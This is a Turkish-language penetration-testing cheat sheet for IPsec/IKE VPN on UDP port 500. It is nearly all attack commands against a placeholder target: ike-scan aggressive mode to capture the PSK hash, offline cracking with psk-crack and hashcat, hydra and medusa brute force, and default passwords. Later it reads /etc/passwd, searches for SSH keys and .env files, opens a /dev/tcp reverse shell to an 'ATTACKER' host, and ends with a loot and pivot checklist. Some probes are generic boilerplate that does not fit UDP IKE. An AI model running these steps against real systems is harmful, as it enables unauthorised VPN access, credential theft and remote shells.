Skip to content

500/udp - Pentesting IPsec/IKE VPN

IKE vpn

IKE aggressive mode PSK hash sızdırır; offline crack + XAUTH ile VPN erişimi. Hedef lab IP’si üzerinde komutları 500 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. UDP/500/4500.

  2. ike-scan aggressive.

  3. PSK crack.

  4. XAUTH/VPN connect.

Terminal window
nmap -Pn -sU -p500,4500 TARGET
Terminal window
ike-scan TARGET
Terminal window
ike-scan -A -Ppsk.txt TARGET
Terminal window
psk-crack -d rockyou.txt psk.txt
Terminal window
hashcat -m 4800 ike.hash rockyou.txt
Terminal window
strongswan / vpnc with cracked PSK + XAUTH
Terminal window
icmptunnel / ping internal

/udp - IPsec/IKE VPN için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p500 TARGET
Terminal window
nmap -Pn -p500 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:500' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',500));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → /udp - IPsec/IKE VPN
Terminal window
hydra -L users.txt -P rockyou.txt -s 500 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 500
Terminal window
nmap -p500 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit IKE
Terminal window
msfconsole -q -x 'search IKE; exit'
Terminal window
nuclei -u https://TARGET:500 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:500 -tags tech -silent || true
Terminal window
nc -nv TARGET 500
Terminal window
printf '
' | timeout 3 nc -nv TARGET 500
Terminal window
curl -vk --http1.0 http://TARGET:500/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
ike-scan → PSK hash → crack → VPN → internal